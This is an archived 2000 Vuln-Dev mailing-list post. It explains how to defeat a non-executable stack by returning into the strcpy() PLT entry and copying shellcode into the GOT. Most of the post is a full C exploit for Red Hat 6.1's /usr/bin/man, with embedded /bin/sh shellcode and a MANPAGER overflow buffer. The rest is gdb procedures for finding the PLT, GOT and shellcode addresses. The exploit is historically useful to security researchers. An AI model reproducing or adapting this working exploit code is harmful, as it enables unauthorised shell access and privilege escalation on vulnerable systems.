Vulnerability Development mailing list archives

Re: No-Exec Stack Smashing 101


From: woloszyn () IPARTNERS PL (M.C.Mar)
Date: Thu, 20 Apr 2000 16:00:36 +0200


On Thu, 20 Apr 2000, M.C.Mar wrote:

Now the goal is to make man do a system("/bin/echo i 0wn y3w") call via
returning into system() with the string being a parameter to the call with
no code being excuted on the stack.

I'm affraid you made wrong aproach...
If you have nonexeck stack patch installed you cannot jump into libc, cos
libc is mmaped undex 0x00XXXXXX address!
The best idea is to jump into PLT. To find system() PLT entry do the
following:

(gdb) p system
$2 = {<text variable, no debug info>} 0x8048d38 <system>

0x8048d38 is a PLT addr of system() call.

Hi!

After I post this mail I found that new version of man does not use
system(), so there is no system entry in its PLT.
Anyway, you can still use strcpy() to copy your shellcode to GOT (global
offset table) that it exutable (isn't it wonderfull? :)!

Here's the exploit that works on systems with nonexecutable stack, but you
need to refine few values:

--- 3man.c

/*
 * Rewriten from:
 * (c) 2000 babcia padlina / b0f
 * (lcamtuf's idea)
 * by Kil3r of Lam3rZ
 * lam3rz () hert org
 *
 * redhat 6.1 /usr/bin/man exploit
*/

        char execshell[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

#include <stdio.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <string.h>

#define STRCPY          0x80490e4       // <== strcpy() PLT entry
#define GOT             0x805038c       // <== strcpy() GOT entry
#define NOP             0x90
#define BUFSIZE         4033+38
#define RET             STRCPY          //0x46464646
#define _BIN_SH         0xbfffffe7      // <== where we have "/bin/sh" string,
                                        //    curently useless ;)
#define SHELLCODE       0xbfffffc1

long getesp(void)
{
   __asm__("movl %esp, %eax\n");
}

int main(argc, argv)
int argc;
char **argv;
{
        char buf[BUFSIZE+12], *p;
        char *env[3];
        int *ap;

        memset(buf,NOP,BUFSIZE);

        p=buf+BUFSIZE-4;
        ap=(int *)p;
        *ap++ =RET;             // <== we return into strcpy PLT
        *ap++ =GOT+4;           // <== then we jump here
        *ap++ =GOT+4;           // <== we copy here
        *ap++ =SHELLCODE;       // <== from here

        fprintf(stderr, "RET: 0x%x  SHELLCODE: 0x%x", RET, SHELLCODE);

        memcpy(buf,"MANPAGER=", 9);
        env[0]=buf;
//      env[1]="/bin/sh";
        env[1]=execshell;
        env[2]=(char *)0;
        execle("/usr/bin/man", "man", "ls", 0, env); // use execle to have
                                // shellcode and other params at fixed addr!!!

        return 0;
}

--- 3man.c

STRCPY is a strcpy() PLT entry. You can determine it like that:
[emsi@pipek ~]$ gdb /usr/bin/man
[...]
(gdb) p strcpy
$1 = {<text variable, no debug info>} 0x80490e4 <strcpy>

GOT is a GOT entry of strcpy(). You can determine it like that:
(gdb) x/10i 0x80490e4  <== strcpy PLT
0x80490e4 <strcpy>:     jmp    *0x805038c <== GOT
0x80490ea <strcpy+6>:   pushl  $0x1d8
0x80490ef <strcpy+11>:  jmp    0x8048d24

SHELLCODE is address, where we can find our shellcode. I puted it in env
space, that is located under 0xbfffffff in memory. I used execle() call to
determine whole environment and fix addresses. To find SHELLCODE addr write
the exploit template and let it dump core, then do following:
[emsi@pipek ~]$ gdb /usr/bin/man core
[...]
#0  0x46464646 in ?? ()
(gdb) x/10s 0xbfffffff-100
0xbfffff9b:      '\220' <repeats 19 times>,
"FFFF\220\003\005\b\220\003\005\bºÿÿ¿@\001"
0xbfffffc1:
"ë\037^\211v\b1À\210F\a\211F\f°\013\211ó\215N\b\215V\fÍ\2001Û\211Ø@Í\200èÜÿÿÿ/bin/sh"
0xbfffffef:      "/usr/bin/man"
0xbffffffc:      ""
0xbffffffd:      ""
0xbffffffe:      ""
0xbfffffff:      ""
0xc0000000:     Cannot access memory at address 0xc0000000.

Then find where EXACTLY our shellcode starts (you may add some AAA or QQQ
before shellcode to make it easyer to find ;).

As I said before you need to know which byte in our buffer overwrites the
RET value on the stack (in our case it's 4033+38-4). You can determine it
using bisection algorithm puting half of buffer with A'a and half with B's.

All you need to know is described very well in:
199801301709.SAA12206 () galera icm edu 
pl">http://www.securityfocus.com/templates/archive.pike?list=1&date=1998-02-1&msg=199801301709.SAA12206 () galera icm 
edu pl</A>


--
Mariusz Wo³oszyn
Internet Security Specialist, IT -- Internet Partners
E-mail: Mariusz.Woloszyn () it pl, woloszyn () it pl



Current thread: